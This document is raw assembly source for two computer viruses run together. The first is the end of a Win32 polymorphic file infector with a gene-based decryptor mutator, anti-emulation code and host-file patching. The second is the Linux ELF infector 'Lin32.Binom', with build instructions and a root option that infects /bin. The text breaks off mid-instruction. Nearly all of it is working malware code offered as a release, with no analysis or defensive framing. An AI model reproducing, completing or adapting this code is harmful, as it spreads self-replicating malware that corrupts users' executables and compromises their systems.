xchg edi,edx add edi,dword [ebp+(filemem-delta)] ; save the stuff for later mov [ebp+(start_host-delta)], edi pushad lea esi, [ebp+(cpy-delta)] lea edi, [ebp+(mutate-delta)] mov ecx, (mutateend-mutate) rep movsb ; save the genes dw 310Fh xor [ebp+(random_seed-delta)], eax ; randomize xor [ebp+(startkey-delta)], al ; .. xor [ebp+(slidingkey-delta)], ah ; .. lea esi, [ebp+(mutate-delta)] mov edi, esi mov ecx, genes_count decide_loop: sub eax, eax ; randomize the genes mov al, genes_count call rand_index or eax, eax jnz noswitch lodsb xor al, 1 ; switch gene off/on stosb jmp switched noswitch: movsb switched: dec ecx jne decide_loop mov ecx, 6 lea esi, [ebp+(regs-delta)] decide2_loop: mov eax, 5 call rand_index mov ebx, eax mov al, [esi] xchg al, [esi+ebx] mov [esi], al dec ecx jne decide2_loop popad ; --------------------------------------------------------------------------- original_esp equ [edx-(1*4)] so_virus equ [edx-(2*4)] so_void equ [edx-(3*4)] vsize equ [edx-(4*4)] pos_callplace equ [edx-(5*4)] ads_distance equ [edx-(6*4)] ads_size equ [edx-(7*4)] start_loop equ [edx-(8*4)] poly_generator: mov edx, esp ; stack to edx push esp push esi push edi push ecx ; Gene for cutting of emulation ; ----------------------------- cmp [ebp+(gene_noemul-delta)], 0 je no_emul mov ax, 0C029h stosw mov ax, 0C8FEh ; sub eax, eax stosw ; keep_going: dec al mov ax, 0C008h ; or al, al stosw ; je was_oke mov ax, 0474h ; jne keep_going stosw ; jmp somewhere_in_code mov ax, 0F875h ; was_oke: stosw mov ax, 67EBh stosw no_emul: ; Extra anti emulation ; -------------------- cmp [ebp+(gene_specialkey-delta)], 0 jne skipskey cmp [ebp+(startkey-delta)], 0 je skipskey ; here an av would get mov ax, 1829h ; forced to loop X times or ah, [ebp+(gene_encrypt-delta)] ; in order to get the shl ah, 3 ; encryption key or ah, [ebp+(gene_encrypt-delta)] ; if it doesn't (and most- stosw ; don't) the virus body mov ax, 0C929h ; will be wrongly de- stosw ; crypted mov al, 0B1h stosb mov al, [ebp+(startkey-delta)] stosb mov al, 40h or al, [ebp+(gene_encrypt-delta)] stosb mov ax, 0FDE2h cmp [ebp+(gene_specialkeyl-delta)],0 jne no_decskl mov al, 049h stosb mov ax, 0FC75h no_decskl: stosw skipskey: ; Gene for the Call ; ----------------- cmp [ebp+(gene_call-delta)], 0 jne callway2 mov al, 0E8h ; call nextbyte stosb push edi sub eax, eax ; " " stosd mov al, 58h or al, [ebp+(gene_memreg-delta)] stosb jmp callend callway2: mov al, 0E8h ; call to_end_of_code stosb push edi stosd callend: ; Gene for adding distance ; ------------------------ mov al, 81h ; this is always in front of ; add and sub cmp [ebp+(gene_distance-delta)],0 jne distance2 mov ah, 0C0h ; add jmp distancedone distance2: mov ah, 0E8h ; sub distancedone: or ah, [ebp+(gene_memreg-delta)] stosw push edi stosd ; Gene for declaring virus-size ; ----------------------------- cmp [ebp+(gene_size-delta)],0 jne size2 mov al, 0B8h ; mov reg, x or al, [ebp+(gene_counter-delta)] stosb jmp size_done size2: cmp [ebp+(gene_sizem-delta)], 0 jne sizem2 mov ax, 01831h ; xor reg, reg or ah, [ebp+(gene_counter-delta)] shl ah, 3 or ah, [ebp+(gene_counter-delta)] stosw jmp sizeput sizem2: mov ax, 01829h or ah, [ebp+(gene_counter-delta)] shl ah, 3 or ah, [ebp+(gene_counter-delta)] stosw sizeput: cmp [ebp+(gene_sizea-delta)], 0 je puts2 mov ax, 0F081h jmp putsand puts2: mov ax, 0C881h putsand: or ah, [ebp+(gene_counter-delta)] stosw size_done: push edi mov eax, virus_size stosd ; Gene for declaring the first ; encryption value ; ---------------------------- cmp [ebp+(gene_specialkey-delta)], 0 je key_done key_normal: cmp [ebp+(gene_1stval-delta)],0 jne firstval2 mov al, 0B8h or al, [ebp+(gene_encrypt-delta)] stosb jmp firstvalend firstval2: cmp [ebp+(gene_1stvalb-delta)], 0 jne firstvalb2 mov ax, 0E083h or ah, [ebp+(gene_encrypt-delta)] stosw sub eax, eax stosb jmp firstvalb_end firstvalb2: mov ax, 01829h or ah, [ebp+(gene_encrypt-delta)] shl ah, 3 or ah, [ebp+(gene_encrypt-delta)] stosw firstvalb_end: cmp [ebp+(gene_addenc-delta)], 0 jne fza2 mov ax, 0C081h or ah, [ebp+(gene_encrypt-delta)] stosw jmp firstvalend fza2: mov ax, 0C881h or ah, [ebp+(gene_encrypt-delta)] stosw firstvalend: push edi sub eax, eax mov al, [ebp+(startkey-delta)] stosd key_done: push edi ; Get byte gene ; ------------- cmp [ebp+(gene_getbyte-delta)], 0 jne getbyte2 mov al, 08Ah ; xchg or mov jmp getbytedone getbyte2: mov al, 086h getbytedone: mov ah, [ebp+(gene_memreg-delta)] stosw ; Encrypt byte gene ; ----------------- cmp [ebp+(gene_encryptb-delta)], 0 jne eb2 mov ax, 2966h ; sub jmp insbe eb2: mov ax, 3166h ; xor insbe: stosw mov al, 18h or al, [ebp+(gene_encrypt-delta)] shl al, 3 stosb ; Store byte gene ; --------------- mov al, 88h cmp [ebp+(gene_store-delta)], 0 ; xchg or mov again jne store2 mov al, 86h store2: mov ah, [ebp+(gene_memreg-delta)] stosw ; Increment memreg gene ; --------------------- cmp [ebp+(gene_increment-delta)], 0 jne inc2 mov al, 040h ; inc or al, [ebp+(gene_memreg-delta)] stosb jmp incdone inc2: mov ax, 0C083h ; add or ah, [ebp+(gene_memreg-delta)] stosw mov al, 1 stosb incdone: ; Change the encryption key gene ; ------------------------------ cmp [ebp+(gene_slidingkey-delta)], 0 jne no_slidingkey cmp [ebp+(gene_slidingkeym-delta)], 0 jne slidingkey2 mov al, 80h stosb mov al, 0C0h or al, [ebp+(gene_encrypt-delta)] mov ah, [ebp+(slidingkey-delta)] stosw jmp slidingkey_done slidingkey2: mov al, 40h or al, [ebp+(gene_encrypt-delta)] stosb slidingkey_done: no_slidingkey: ; Decrement the encryptcount gene ; ------------------------------- cmp [ebp+(gene_ecount-delta)], 0 jne ecount2 mov ax, 0E883h or ah, [ebp+(gene_counter-delta)] stosw mov al, 1 jmp ecount_done ecount2: mov al, 48h or al, [ebp+(gene_counter-delta)] ecount_done: stosb ; Loop gene ; --------- cmp [ebp+(gene_loop-delta)], 0 jne loop2 mov ax, 0F883h or ah, [ebp+(gene_counter-delta)] stosw sub eax, eax stosb mov ebx, edi sub ebx, start_loop neg bl dec bl dec bl mov al, 75h cmp [ebp+(gene_loop2-delta)], 0 jne loop1b mov al, 77h loop1b: mov ah, bl stosw jmp loopdone loop2: mov ax, 1809h or ah, [ebp+(gene_counter-delta)] shl ah, 3 or ah, [ebp+(gene_counter-delta)] stosw mov ebx, edi sub ebx, start_loop neg bl dec bl dec bl mov al, 75h mov ah, bl stosw loopdone: ; Catch call gene ; --------------- cmp [ebp+(gene_call-delta)], 0 je skip_catchcall mov al, 0EBh stosb ; ... mov esi, edi stosb mov eax, edi mov ebx, pos_callplace sub eax, ebx sub eax, 4 mov [ebx], eax mov al, 58h or al, [ebp+(gene_memreg-delta)] stosb cmp [ebp+(gene_callret-delta)], 0 je callret2 mov al, 50h or al, [ebp+(gene_memreg-delta)] mov ah, 0C3h stosw jmp endcallret callret2: mov ax, 0E0FFh or ah, [ebp+(gene_memreg-delta)] stosw endcallret: mov eax, edi sub eax, esi dec eax mov [esi], al skip_catchcall: ; .................................................................................... ender: mov ecx, ads_distance mov eax, edi sub eax, pos_callplace sub eax, 4 cmp [ebp+(gene_distance-delta)], 0 je skip_neg neg eax skip_neg: mov [ecx], eax push edi lea esi,[ebp+(virus_start-delta)] ; copy virus (with changed DNA) mov ecx,virus_size ; to host rep movsb ; pop esi mov eax, esi sub eax, [ebp+(start_host-delta)] mov [esi+1], eax sub ebx, ebx cmp [ebp+(gene_slidingkey-delta)], 0 jne skip_sliding cmp [ebp+(gene_slidingkeym-delta)], 0 jne s_onlyinc mov bl, [ebp+(slidingkey-delta)] dec bl s_onlyinc: inc bl skip_sliding: mov bh, [ebp+(startkey-delta)] push edi mov edi, esi mov ecx, virus_size cmp [ebp+(gene_encryptb-delta)], 0 jne loop_encryptx loop_encrypta: lodsb add al, bh stosb add bh, bl loop loop_encrypta jmp endx loop_encryptx: lodsb xor al, bh stosb add bh, bl loop loop_encryptx endx: pop edi mov esp, original_esp ; --------------------------------------------------------------------------- sub edi, [ebp+(start_host-delta)] mov [ebp+(start_host-delta)], edi push FILE_ATTRIBUTE_NORMAL mov eax, [ebp+(findmem-delta)] lea eax, [eax+44] push eax call SetFileAttributes push 0 push FILE_ATTRIBUTE_NORMAL push CREATE_ALWAYS push 0 push 0 push GENERIC_WRITE mov eax, [ebp+(findmem-delta)] lea eax, [eax+44] push eax call CreateFile mov [ebp+(file_handle-delta)], eax inc eax jz close_mem push 0 lea eax, [ebp+(NBR-delta)] push eax mov eax, [ebp+(findmem-delta)] mov eax, [eax+32] add eax, [ebp+(start_host-delta)] mov ecx, [ebp+(file_align-delta)] call align_it push eax mov esi,[ebp+(sheader-delta)] mov edi,[ebp+(dheader-delta)] mov eax,[esi+10h] ; SizeOfRawData add eax,[ebp+(start_host-delta)] ; +virus_size+decryptor_size mov ecx,[edi+3Ch] call align_it mov [esi+10h], eax ; save the new sizes mov [esi+08h], eax ;mov eax,[esi+10h] ; EAX = New SizeOfRawData add eax,[esi+0Ch] mov [edi+50h],eax ; save to size of image push [ebp+(filemem-delta)] push [ebp+(file_handle-delta)] call WriteFile lea eax, [ebp+(filetime-delta)] ; normal time to local filetime push eax lea eax, [ebp+(systemtime-delta)] push eax call SystemTimeToFileTime lea eax, [ebp+(filetime2-delta)] ; local filetime to filetime push eax lea eax, [ebp+(filetime-delta)] push eax call LocalFileTimeToFileTime push 0 ; mark the file as infected push 0 lea eax, [ebp+(filetime2-delta)] push eax push [ebp+(file_handle-delta)] call SetFileTime close_mem: push [ebp+(filemem_handle-delta)] call GlobalUnlock push [ebp+(filemem_handle-delta)] call GlobalFree close_file: push [ebp+(file_handle-delta)] ; set original attributes call CloseHandle mov eax, [ebp+(findmem-delta)] push dword [eax] lea eax, [eax+44] push eax call SetFileAttributes return_infect: ret ; simple align a value ; -------------------- align_it: push edx sub edx, edx push eax div ecx pop eax sub ecx, edx add eax, ecx pop edx ret ; random number between 0 and eax ; (this is a good one!) ; ------------------------------- rand_index: push edx push ecx push ebx mov ecx, eax inc ecx mov eax, [ebp+(random_seed-delta)] rol eax, 5 ; by me ;) neg ax mov bx, ax sub al, ah bswap eax xor ah, al sub ax, bx mov [ebp+(random_seed-delta)], eax sub edx, edx div ecx mov eax, edx pop ebx pop ecx pop edx ret ; ----------------------------------------------------------------------------------- ; DATA file_handle dd 0 filemem_handle dd 0 ; handles filemem dd 0 file_align dd 0 return_addr dd 0 start_host dd 0 search_mask db "test*.exe",0 find_handle dd 0 findmem_handle dd 0 findmem dd 0 startkey db 11h slidingkey db 9Ch ; The virus DNA ; Feel free to make changes and see ; the decryptor change :) ; --------------------------------- mutate: gene_call db 0 ; should have been just bits, but whatever ;) gene_distance db 0 gene_size db 0 gene_sizem db 0 gene_sizea db 0 gene_1stval db 0 gene_1stvalb db 0 gene_addenc db 0 gene_getbyte db 0 gene_encryptb db 0 gene_store db 0 gene_increment db 0 gene_ecount db 0 gene_loop db 0 gene_loop2 db 0 gene_noemul db 0 gene_callret db 0 gene_slidingkey db 0 gene_slidingkeym db 0 gene_specialkey db 0 gene_specialkeyl db 0 mgenes_end: regs: gene_memreg db 6h ; I think i forgot to make code for changing gene_counter db 1h ; these :D. Whatever ;) gene_encrypt db 3h gene_encryptc db 2h gene_junk1 db 5h gene_junk2 db 7h mutateend: cpy rb (mutateend-mutate) filetime dd 0,0 filetime2 dd 0,0 systemtime dw 0,0,0,0,0,0 ssecond dw 0 smsecond dw 0 random_seed dd 93FA017Bh NBR dd 0 k32 dd 0 getprocaddr dd 0 sheader dd 0 dheader dd 0 gptext db 'GetProcAddress',0 ; Api table k32_apis db "FindFirstFileA",0 _FindFirstFile dd 0 db "FindNextFileA",0 _FindNextFile dd 0 db "FindClose",0 _FindClose dd 0 db "CreateFileA",0 _CreateFileA dd 0 db "ReadFile",0 _ReadFile dd 0 db "WriteFile",0 _WriteFile dd 0 db "CloseHandle",0 _CloseHandle dd 0 db "GlobalAlloc",0 _GlobalAlloc dd 0 db "GlobalLock",0 _GlobalLock dd 0 db "GlobalUnlock",0 _GlobalUnlock dd 0 db "GlobalFree",0 _GlobalFree dd 0 db "SetFileAttributesA",0 _SetFileAttributes dd 0 db "FileTimeToLocalFileTime",0 ; apis used for _FileTimeToLocalFileTime dd 0 ; filemarking db "FileTimeToSystemTime",0 _FileTimeToSystemTime dd 0 db "SystemTimeToFileTime",0 _SystemTimeToFileTime dd 0 db "LocalFileTimeToFileTime",0 _LocalFileTimeToFileTime dd 0 db "SetFileTime",0 _SetFileTime dd 0 db 0 end_of_virus: ; &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&sources
Lin32.Binom Cyneox ; ; ; _______ __ __ __ _ _______ _____ _ _ ; | \_/ | \ | |______ | | \___/ ; |_____ | | \_| |______ |_____| _/ \_ ; ; ; proudly presents ; ; .____ .__ ________ ________ __________.__ ; | | |__| ____ \_____ \ \_____ \ \______ \__| ____ ____ _____ ; | | | |/ \ _(__ < / ____/ | | _/ |/ \ / _ \ / \ ; | |___| | | \/ \/ \ | | \ | | ( <_> ) Y Y \ ; |_______ \__|___| /______ /\_______ \ /\______ /__|___| /\____/|__|_| / ; \/ \/ \/ \/ \/ \/ \/ ; Date: 2.10.2004 ; ; ; |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| ; -|-|-| I*N*T*R*O*D*U*C*T*I*O*N |-|-|-|- -|-|-|-|-|-| C*O*M*P*I*L*E |-|-|-|-|-|- ; ; Well I dont want to tell you much There are options to compile this ; about this project... Just check source: FUCK_USER or FUCK_SYSTEM ; out the code and build your own ; oppinion. I'd like to thank to all bash:# nasm -f elf -D [OPTION] -o \ ; people on #DCA , #vx-lab , #lin32asm binom.o binom.asm ; for all their support. OPTION=FUCK_USER or FUCK_SYSTEM ; And now something special to my dar- ; ling: Caline I'll always love you. bash:# gcc -o binom binom.o ; ; ; |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| ; -|-|-|-|-|-|-|-|-|-|-|-| A*B*O*U*T |-|-|-|-|-|-|-|-|-|-|-|-|-|-|- ; |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| ; ; Like I said there 2 options.Binom ; means "two" so you'll have 2 versions ; of the virus. Its quite simple since ; it uses macros. ; ; Option FUCK_USER | FUCK_SYSTEM ; ------------------|------------------------------------------ ; Path to infect | "." | "/bin" ; ------------------------------------------------------------- ; File type | ELF | ELF ; ------------------------------------------------------------- ; Required rights | normal | root ; ------------------------------------------------------------- ; Infecting | SPI + Abuse of | SPI + Abuse of ; technique | _libc_start_main | shard libraries ; -------------------------------------------------------------- ; | yes(calculating | yes ; EPO |return addr using | ; |relative offsets) | ; -------------------------------------------------------------- ; Payload | yes(print msg) | yes(print msg) ; -------------------------------------------------------------- ; | no (change | no(change push ; Change entry | call instruction | instruction in the ; point | in the startup | startup routine ; | routine) | ; -------------------------------------------------------------- ; Files nr. to | all | all ; infect | | ; -------------------------------------------------------------- ; Invisible | yes(foking to | yes(froking to back- ; | background) | ground) ; -------------------------------------------------------------- ; ; ; |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| ; -|-|-|-|-|-|-|-|-|-|-|-| E*O*F |-|-|-|-|-|-|-|-|-|-|-|-|-|-|- ; |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| %define SYS.FORK 2 %define SYS.READ 3 %define SYS.WRITE 4 %define SYS.OPEN 5 %define SYS.CLOSE 6 %define SYS.CHDIR 12 %define SYS.LSEEK 19 %define SYS.GETUID 24 %define SYS.GETGID 47 %define SYS.READDIR 89 %define SYS.MMAP 90 %define SYS.UNMMAP 91 %define SYS.STAT 106 %define SYS.GETCWD 183 %define STRUCT_STAT_SZ 64 %define STRUCT_DIRENT_SZ 266 %define STRUCT_MMAP_SZ 24 %define LOCAL_STACK_SZ 80 %define GLOBAL_STRUCT_SZ 134 %define MAGIC_FILE_MODE 7q %define MAGIC_FILE_BIT_MASK 170000q %define MAGIC_ELF 0x464c457f %define MAGIC_ELF_BASE 0x8048000 %define MAGIC_VIRUS_SIZE 0x1000 %define E_TYPE_OFFSET 16 %define E_ENTRY 0x18 %define E_PHOFF 0x1c %define E_PHENTSIZE 0x20 %define E_SHOFF 0x20 %define E_SHENTSIZE 0x28 %define E_PHNUM 0x2c %define E_SHNUM 0x30 %define PHDR_INDEX_DATA 3 %define PHDR_INDEX_TEXT 2 %define PHDR_P_FILESZ 16 %define PHDR_P_MEMSZ 20 %define PHDR_P_VADDR 8 %define SHDR_SH_OFFSET 16 %define SHDR_SH_SIZE 20 %ifdef FUCK_SYSTEM %define FIRST_PATH 0x0 %endif %ifdef FUCK_USER %define FIRST_PATH 0x2e %endif %define PATH_LENGHT 128 %define REG_FILE 10q %define DIREC 4q %define POINT 0x002e %define DOUBLE_POINT 0x2e2e section .text global main main: pusha pushf push ebp mov esp,ebp ; fork us baby .... mov eax,SYS.FORK mov ebx,0 int 0x80 ; checking wheter child or parent process ; is active cmp eax,0 jne parent_process child_process: ; first of all we must get the sysuid of current ; user...maybe we're root ;)) mov eax,SYS.GETUID int 0x80 push eax ; get gid and store it on stack... mov eax,SYS.GETGID int 0x80 push eax ; allocate space for the stat structure ; which will be needed by the stat function... ; then we'll scan beginning with "/" all directories ; and searching for ELF files. sub esp,STRUCT_STAT_SZ ; here are the "default" infos which are needed by stat() push dword FIRST_PATH ; first path to start with scaning push dword 0x7 ; file permissions %ifdef FUCK_SYSTEM mov esi,_system %endif ; start scaning beginning with FIRST_PATH call scan4files add esp,4*2 ; restore "default" infos add esp,STRUCT_STAT_SZ ; restore stat structure add esp,8 ; restore gid and uid jmp restore_data parent_process: mov eax,SYS.WRITE mov ebx,1 mov ecx,payload mov edx,len int 0x80 jmp _exit scan4files: %ifdef FUCK_USER mov esi,esp add esi,8 %endif mov edi,esp add edi,4 ; edi = access permissions ; store some space for our "global" structure for files ; this structure will contain the needed file descriptor ; , the access permissions and the complete path name ; of that file... sub esp,4 ; fd sub esp,1 ; permissions sub esp,1 ; file type : reg file or directory sub esp,PATH_LENGHT ; complete path lenght of file ;---> GLOBAL_STRUCT_SZ = size of this "global" structure ; stat our file name and complete the global structure ; with necessary information mov eax,SYS.STAT mov ebx,esi ; file name mov ecx,ebp ; BASE pointer sub ecx,STRUCT_STAT_SZ ; move to beginning of our stat structure int 0x80 cmp eax,0x0 jge stat_ok jmp _stat_error restore_data: pop ebp popf popa jmp _exit stat_ok: ; checking permissions on FIRST_PATH mov ebx,ebp sub ebx,STRUCT_STAT_SZ ; move to stat structure mov ax,[ebx+8] ; stat.st_mode ; comparing uid of FIRST_PATH with uid of currently ; executed file... mov cx,word [ebx+12] ; stat.st_uid cmp word cx,[ebp-4] je user_permission ; we have user permission on FIRST_PATH mov cx,word [ebx+14] cmp word cx,[ebp-8] je group_permission ; group access ; check if we're root ... hehe.. cmp word [ebp-8],0 je user_permission others_permission: ; ax = stat.st_mode ( look below ) and al,MAGIC_FILE_MODE jmp access_file user_permission: shr ax,0x6 and al,MAGIC_FILE_MODE jmp access_file group_permission: shr ax,0x3 and al,MAGIC_FILE_MODE access_file: ; store access permissions to our global ; structure mov byte [esp+PATH_LENGHT+1],al ; permissions ; checking file type : REG_FILE or DIREC mov ebx,ebp sub ebx,STRUCT_STAT_SZ mov ax,[ebx+8] ; stat.st_mode and ax,MAGIC_FILE_BIT_MASK shr ax,12 ; store file type to glob. structure... mov byte [esp+PATH_LENGHT],al ; checking if REG_FILE or DIREC ... mov al,byte [esp+PATH_LENGHT] cmp al,DIREC je directory ; jmp if file name is a directory cmp al,REG_FILE je near regular_file ; jmp if regular file... jmp _access_error directory: ; save current working directory... mov eax,SYS.GETCWD mov ebx,esp mov ecx,PATH_LENGHT int 0x80 ; opening directory... mov eax,SYS.OPEN mov ebx,esi ; file name mov ecx,0 ; ecx = 0 = O_RDONLY mov edx,0 int 0x80 ; check returned file descriptor.... cmp eax,0x0 jge open_ok jmp _open_error open_ok: ; save file descriptor to our glob.structure... mov [esp+PATH_LENGHT+2],eax ; file descriptor ; chdir to that directory so we can search for another ; files in that directory... mov eax,SYS.CHDIR mov ebx,esi ; file name int 0x80 ; allocating stack space for our dirent structure ; which will be needed for searching new files etc. sub esp,STRUCT_DIRENT_SZ read_directory: mov eax,SYS.READDIR mov ebx,[esp+STRUCT_DIRENT_SZ+PATH_LENGHT+2] ; file descriptor mov ecx,esp mov edx,1 int 0x80 cmp eax,0x1 jne near _readdir_error ; search for files in the directory and call scan4files... ; we'll have to skip "." and ".." coz they're ; irrelevant to us cmp word [esp+10],POINT ; [esp+10]=dirent.d_name je skip_points cmp word [esp+10],DOUBLE_POINT je skip_points xor eax,eax mov al,[esp+STRUCT_DIRENT_SZ+PATH_LENGHT+1] ; file permissions add esp,10 ; dirent.d_name %ifdef FUCK_USER push eax %endif %ifdef FUCK_SYSTEM mov esi,esp %endif call scan4files %ifdef FUCK_USER add esp,4 ; restore that "push eax" %endif sub esp,10 ; restore "add esp,10" skip_points: jmp read_directory regular_file: ; open file with flags READ & WRITE mov eax,SYS.OPEN mov ebx,esi ; esi = file name xor ecx,ecx mov ecx,2 int 0x80 cmp eax,0 jg file_write_perms jmp scan_return file_write_perms: ; save opened file descriptor to global structure mov [esp+PATH_LENGHT+2],eax ; finding out file's size using lseek ;) mov eax,SYS.LSEEK mov ebx,[esp+PATH_LENGHT+2] ; fd xor ecx,ecx mov edx,2 ; SEEK_END int 0x80 file_map: mov ecx,eax ; ecx = file lenght mov eax,SYS.MMAP mov edx,[esp+PATH_LENGHT+2] ; fd ; declaring mmap structure ... sub esp,STRUCT_MMAP_SZ mov dword [esp],0 ; int start mov [esp+4],ecx ; file lenght mov dword [esp+8],3 ; READ_WRITE mov dword [esp+12],1 ; MAP_SHARED mov dword [esp+16],edx ; fd mov dword [esp+20],0 ; int offset mov ebx,esp ; pointer to mmap structure int 0x80 ; restoring mmap structure... add esp,STRUCT_MMAP_SZ cmp eax,-1 jne file_map_ok jmp scan_return file_map_ok: ; save us some stack where we can store mmap addr,file ; lenght etc... mov esi,eax mov ebx,[eax] mov edx,MAGIC_ELF cmp edx,ebx je file_is_elf close_target: mov ebx,esi mov eax,SYS.UNMMAP int 0x80 mov eax,SYS.CLOSE mov ebx,[esp+PATH_LENGHT+2] int 0x80 jmp scan_return file_is_elf: ; ok...we found an ELF file.but remember there are ; several ELF file types like : executables, objects, ; relocatables...only the executable ones are for us ; relevant... file_elf_exec: ; checking is found file is an executable ELF file... ; therefore we will jump at offset ehdr.e_type and will ; compare the value with 2 . if the value = 2 then we found ; an executable and we can start with the infection of our file.. mov eax,esi ; esi = addr of maped file add eax,E_TYPE_OFFSET mov eax,[eax] ; data pointed by eax(addr of maped file) mov edx,eax xor eax,eax mov al,dl ; we only need the first byte cmp byte al,0x2 ; checking if ehdr.e_type == ET_EXEC je elf_exec_ok jmp close_target elf_exec_ok: ; we need some stack for storing our mmap addr , file ; lenght , etc. sub esp,LOCAL_STACK_SZ mov [esp+4],esi ; mmap addr mov [esp+8],ecx ; file lenght mov eax,[esi+E_ENTRY] ; ehdr.e_entry mov [esp+12],eax ; store entry point mov eax,[esi+E_PHOFF] ; ehdr.e_phoff mov [esp+16],eax ; store phdr offset mov eax,[esi+E_SHOFF] ; ehdr.e_shoff mov [esp+20],eax ; store shdr offset mov eax,[esi+E_PHNUM] and eax,0xffff ; ehdr.e_phnum mov [esp+24],eax ; store phdr number mov eax,[esi+E_SHNUM] and eax,0xffff ; ehdr.e_shnum mov [esp+28],eax ; store shdr number check_if_space: ; checking if space is available between code segment ; and data segment... ; since the code size is limited we must check if there is ; enough space where to insert our virus code.maximum code ; size is restricted by code alignment which is 0x1000=4096. ; SO : if the difference between code and data segment ; is lower than ELF_PAGE_SZ=0x1000 then we'll have to ; cancel our infection routine... mov ebx,[esp+16] ; e_phoff add esi,ebx ; esi=ptr to mapped ; file --> move to first PHDR entry phdr[0] mov ecx,[esi+32*PHDR_INDEX_DATA+PHDR_P_VADDR] ; phdr[3].p_vaddr : data segment (RW) mov eax,[esi+32*PHDR_INDEX_DATA+PHDR_P_FILESZ] ; phdr[3].p_filesz mov ebx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ] ; phdr[2].p_filesz: text segment (RE) mov [esp+32],ebx ; store p_filesz of .text mov eax,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR] ; phdr[2].p_vaddr add ebx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR] ; phdr[2].p_filesz + phdr[2].p_vaddr sub ecx,ebx ; phdr[3].p_vaddr - (phdr[2].p_filesz + phdr[2].p_vaddr) mov eax,MAGIC_VIRUS_SIZE ; the virus size is actually the ELF_PAGE_SIZE cmp ecx,eax jl near no_insertion_space ; from now on the target is actually ready to be infected... ; we have an executable ELF file which has enough space ; between his code and data segment to insert our virus code... %ifdef FUCK_USER start_infection: ; first of all we must do some "comparisation" processes.. mov eax,[esp+12] ; e_entry sub eax,MAGIC_ELF_BASE ; find out offset to entry code mov esi,[esp+4] ; addr to mapped file add esi,eax ; compare "call" of current program with "call" of target ; to see if target was infected by a superiour virus add esi,0x21 mov ebx,esi ; "beyond the call" sub esi,0x21 add esi,0x1d mov ecx,esi ; our patch address mov [esp+36],ebx ; store addr "beyond the call" mov [esp+40],ecx ; store "our patch address" ; now we'll have to patch that addr with our new entry ; point.REMEMBER: the entry point in the EHDR WILL NOT BE ; CHANGED.THATS THE FUNNY THING OF THIS VIRUS ;=) mov esi,[esp+4] ; mmap addr mov ebx,[esi+E_PHOFF] ; offset to first byte ; of PHDR add esi,ebx ; move to first byte mov ecx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ] ; p_filesz mov edx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR] ; p_vaddr add ecx,edx ; p_vaddr + p_filesz ; align up the new entry point addr ; ALIGN_UP(x) (((x)+15)& ~15) add ecx,15 ; ecx = new entry ; point and ecx,~15 mov ebx,[esp+36] ; addr beyond the call sub ecx,ebx mov edx,[esp+40] ; "patch addr" ; first of all find out the addr which call should have called... mov esi,[esp+36] ; beyond the call mov eax,[edx] ; patch point add eax,esi ; addr we search for mov [edx],ecx ; store new addr mov [esp+44],ecx ; copy new relative offset to stack mov [esp+48],eax ; original addr %endif %ifdef FUCK_SYSTEM start_infection: mov eax,[esp+12] ; entry addr sub eax,MAGIC_ELF_BASE ; offset to entry point mov esi,[esp+4] ; mmap addr add esi,eax add esi,0x18 ; our patch point mov ecx,esi ; our patch address sub esi,0x18 add esi,0x21 ; "beyond the call" mov ebx,esi mov [esp+36],ebx ; store addr "beyond the call" mov [esp+40],ecx ; store "our patch address" mov esi,[esp+4] ; mmap addr mov ebx,[esi+E_PHOFF] ; offset to first byte ; of PHDR add esi,ebx ; move to first byte mov ecx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ] ; p_filesz mov edx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR] ; p_vaddr add ecx,edx ; p_vaddr + p_filesz ; align up the new entry point addr ; ALIGN_UP(x) (((x)+15)& ~15) add ecx,15 ; ecx = new entry ; point and ecx,~15 mov ebx,[esp+40] ; our patch addr mov eax,[ebx] ; save original addr to stack mov [esp+48],eax mov [ebx],ecx ; patching addr %endif patch_e_phoff: mov esi,[esp+4] mov ebx,[esi+E_PHOFF] mov eax,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ] add esi,ebx ; store p_filesz to stack mov [esp+52],eax ; patch p_filesz add dword[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ],MAGIC_VIRUS_SIZE ; store p_memsz to stack mov eax,[esi+32*PHDR_INDEX_TEXT+PHDR_P_MEMSZ] mov [esp+56],eax ; patch p_memsz add dword[esi+32*PHDR_INDEX_TEXT+PHDR_P_MEMSZ],MAGIC_VIRUS_SIZE ; initialize registers for patch_phdr mov edx,[esp+4] ; mmap addr mov eax,[esp+16] ; old ehdr.e_phoff add edx,eax ; move to phdr[0] mov ebx,MAGIC_VIRUS_SIZE mov eax,[esp+32] ; old p_filesz mov ecx,[esp+24] ; ehdr.e_phnum -> needed by the loop instruction patch_phdr: cmp dword [edx+4],eax ; (edx+4)=p_offset ; compare if ; p_offset >= end of code segment(old p_filesz) jbe next_phdr_entry add dword [edx+4],ebx ; else patch ; p_offset -> new p_offset = old p_offset + MAGIC_VIRUS_SIZE next_phdr_entry: add edx,E_PHENTSIZE ; move to next entry loop patch_phdr ; patching ehdr.e_shoff mov ebx,[esp+4] mov ecx,[ebx+E_SHOFF] ; e_shoff add dword [ebx+E_SHOFF],MAGIC_VIRUS_SIZE mov edx,[esp+4] mov ebx,ecx ; old e_shoff add edx,ecx ; move to shdr[0] ; initialize registers for patch_shdr mov ecx,[esp+28] ; ehdr.e_shnum mov eax,[esp+32] ; old p_filesz patch_shdr: cmp dword [edx+SHDR_SH_OFFSET],eax ; compare if ; shdr.sh_offset >= old p_filesz jge do_patch mov ebx,dword 